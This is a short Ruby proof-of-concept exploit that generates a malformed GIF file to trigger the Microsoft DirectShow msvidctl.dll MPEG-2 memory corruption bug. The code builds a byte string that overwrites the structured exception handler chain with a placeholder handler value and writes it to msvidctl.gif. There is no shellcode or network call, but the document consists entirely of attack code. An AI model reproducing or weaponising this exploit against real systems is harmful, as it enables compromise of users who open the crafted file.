#!/usr/bin/ruby # msvidctl_gif.rb # Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption GIF generator # # Trancer # http://www.rec-sec.com gif = "\x00\x03\x00\x00\x11\x20\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" gif << "\xFF\xFF\xFF\xFF" # End of SEH chain gif << "\x41\x41\x41\x41" # SE Handler gif << "\x00" tmpfile = File.new("msvidctl.gif","wb") tmpfile.write(gif) tmpfile.close